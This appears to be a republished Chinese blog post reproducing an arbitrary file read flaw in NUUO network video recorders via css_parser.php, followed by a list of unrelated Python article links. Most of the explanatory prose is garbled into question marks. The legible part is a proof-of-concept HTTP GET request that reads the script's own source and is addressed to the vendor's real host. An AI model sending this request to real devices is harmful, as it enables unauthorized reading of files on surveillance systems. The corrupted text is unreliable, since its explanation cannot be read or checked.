NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现-白红宇

NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现

阅读量：805 次

发布时间：2023-02-17

本文共 764 字，大约阅读时间需要 2 分钟。

0x01 NUUO???????????

NUUO????????Network Video Recorder???NVR??NUUO Inc.???????????????????????????????????????????????????????IP????????????????????????????????????NUUO NVR??????????????????????????

0x02 ????

???????????????????css_parser.php???????????????????????????????????????????????????????????????????????????????????

0x03 ??????

????????????????

????????URL??GET?????????

GET /css_parser.php?css=css_parser.php HTTP/1.1

??????????????????User-Agent??????

Host: www.nuuo.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:xx.xx.xx) Gecko/20100101 Firefox/xx.xx

0x04 ????

?????????PoC?Proof of Concept?????????????

GET /css_parser.php?css=css_parser.php HTTP/1.1  Host: www.nuuo.com

??????????css_parser.php???????????????????????????????????????

转载地址：http://hwnfk.baihongyu.com/

你可能感兴趣的文章

Python 列表（List）概述-ChatGPT4o作答

python 利用pandas读取本地中CSV文件的指定列列名重命名并保存回本地

查看>>

python 利用pyspark读取HDFS中CSV文件的指定列列名重命名并保存回HDFS

查看>>

python 利用pyttsx3文字转语音

查看>>

python 利用已有Ner模型进行数据清洗合并

查看>>

python 到大数据开发工程师_如何成为一个大数据开发工程师？

查看>>

python 加密解密(base64, AES)

查看>>

Python 包管理器和 Node.js

查看>>

python 启动提示IDLE's subprocess didn't make conne...

查看>>

Python 和 OpenCV.如何检测图像中的所有(填充)圆形/圆形对象?

查看>>

Python 和 RabbitMQ - 聆听来自多个渠道的消费事件的最佳方式?

查看>>

python编辑器打不开_关于命令ride.py打不开RF，而是打开pycharm编辑器问题解决思路...

查看>>

python编译exe同时支持32位_第三周：同时管理64位和32位版本的Python，并用Pyinstaller打包成exe...

查看>>

Python 和Java 哪个更适合做自动化测试？

查看>>